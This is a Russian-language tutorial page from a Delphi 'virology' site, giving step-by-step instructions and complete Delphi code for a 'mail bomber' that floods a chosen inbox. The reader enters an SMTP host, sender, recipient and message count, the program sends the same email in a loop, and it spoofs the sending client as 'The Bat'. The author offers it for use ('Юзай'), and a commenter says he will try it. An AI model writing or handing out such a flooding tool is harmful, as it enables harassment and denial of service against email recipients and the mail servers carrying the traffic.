Программа для бомбардирования почтовых ящиков - Остальное - Delphi - Каталог статей - Вирусология, взгляд из Delphi
Суббота, 10.12.2016, 21:28 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Категории раздела
Вирусология [39]
Статьи о вирусах
Системные [0]
Работа с системой
Примеры [44]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Приколы [5]
Пишем шуточные програмки
Остальное [5]
Всё что не вошло

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
У вас есть деушка (парень)?
Всего ответов: 391

Главная » Статьи » Delphi » Остальное

Программа для бомбардирования почтовых ящиков
Для начала займемся интерфэйсом. Размер формы можно изменять двумя способами: при помощи мыши и при помощи изменения в Object Inspector'е свойство формы Width (ширина) и Height (Высота). Для того, чтобы изменить свойства любого объекта, просто кликни на нем мышью и в Object Inspector'е на закладке Properties появяться нужные тебе свойства . Теперь меняй свойство формы Caption (заголовок) на что-нибудь типа 'МылБомбер'. Дальше нам нужно поместить на форму по 7 компонентов edit и label из закладки Standart. Метки расставь над Edit'ами. Выделяй 1ю метку и меняй ее свойство caption, и так для каждой метки. Нам нужны метки со следующими Caption'ами - "Хост', 'Порт', 'Логин', 'От', 'Кому', 'Тема' и 'Количество мессаг'. Так, теперь меняй свойства Text для Edit'ов на пустую строку, ну или на что хочешь :) Теперь добавь компоненты Button, Memo и еще одну метку из закладки Standart.Для Memo удали все строки из свойства Lines, для Button поменяй Caption на 'Послать', а для метки в Caption пиши 'Cлушаюсь и повинуюсь :)'. Осталось только добавить компонент MNSMTP из закладки FastNet и можно приступать к кодингу. 

Теперь начинаем самое интересное - кодить :) Кликай два раза по кнопке 'Послать', появиться процеДУРА, которая будет выполняться при нажатии на кнопке. Эта процедура должна выглядить следующим образом: 
procedure TForm1.Button1Click(Sender: TObject);
var
 {если, кто не знает, это объявление двух
 переменных I, NUM и J целого (integer) типа.}
 i, num, j: integer;
begin
 {Свойству компонента nmsmtp присваеваем значение Ложь,
 если бы мы этого не сделали, то все установки для PostMessage,
 после отправки письма (метод SendMail), стали бы пустыми и нам
 бы пришлось их устанваливать заново.
 (по умолчанию значение этого метода = true).}
 NMsmtp1.ClearParams := false;
 NMsmtp1.host := edit1.text; //устанавливаем имя хоста из edit1
 NMsmtp1.UserId := edit2.text; //идентификатор отправителя
 NMsmtp1.Port := strtoint(edit3.text); //Порт

 NMsmtp1.PostMessage.FromAddress := edit4.text; // Адрес отправителя =)
 NMsmtp1.PostMessage.FromName := edit4.text; // Имя отправителя
 {Добавить этот адресс к списку адрессов,
 по которым будет отправлено данное сообщение}
 NMsmtp1.PostMessage.ToAddress.Add(Edit6.text);
 //в свойство Body суем содерджимое Memo1
 NMsmtp1.PostMessage.body.Addstrings(Memo1.Lines);
 NMsmtp1.PostMessage.Subject := edit5.text; //Это тема письма
 NMsmtp1.PostMessage.LocalProgram := 'thE BAt'; //Имя проги отправителя

 NMsmtp1.Connect; //устанавливаем связь с серваком
 j := strtoint(edit7.text); //В переменную j заносим кол-во писем из edit7.text
 for I := 1 to j do {начало цикла}
 begin
 {фунция strtoint() переводит текстовую
 переменною в переменную типа integer}
 num := strtoint(edit7.text) - 1;
 edit7.text := inttostr(num); //думаю здесь понятно
 NMsmtp1.SendMail; //шлем почту
 end;
 NMsmtp1.Disconnect; //отсоединяемся от сервака
end;



Теперь пришло время поработать мышой, а то она уже заскучала :) Давай, буди своего грызуна и вперед. Для начала сохрани то, что ты написал(File->Save All)! Затем сворачивай окно, в котором ты писал код. Перед тобой опять наша форма. Кликни по компоненту mnsmtp1. Переходи в Object Inspector кликай по закладке Events (типа события). Видишь событие OnConnect - нам туда, кликай по пустой строке радом с нимдва раза, создасться очередная процедура. Пиши в ней: 
procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
 Label8.caption := 'Устанавливаем связь...';
end;



Для события OnDisconnect пиши: 
procedure TForm1.NMSMTP1Disconnect(Sender: TObject);
begin
 Label8.Caption := 'Дисконнект';
end;



Для события OnSendStart пиши: 
procedure TForm1.NMSMTP1SendStart(Sender: TObject);
begin
 Label8.Caption := 'Посылка...';
end;



Если хочешь, можешь таким же способом обработать все события, главное ты понял суть( я надеюсь :)). 

Ну вот и все. Осталось только откомпилить и твой МылБомбер готов :) Жми F9, если ошибок нету, то после компиляции твоя прога запуститься, а, если ошибки все-таки есть, то набивай код внимательней. У меня все работает. Юзай :)

Категория: Остальное | Добавил: dolphin (24.04.2009)
Просмотров: 2573 | Комментарии: 1 | Рейтинг: 5.0/3

Всего комментариев: 1
avatar
1
Интересно попробую!
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
HSDN :: Рейтинг сайтов WOlist.ru - каталог качественных сайтов Рунета Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 364
Форум: 1128/7979
Коментариев: 760
Новостей: 27

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 2
Гостей: 2
Пользователей: 0

delfcode.ru © 2008 - 2016 Хостинг от uCoz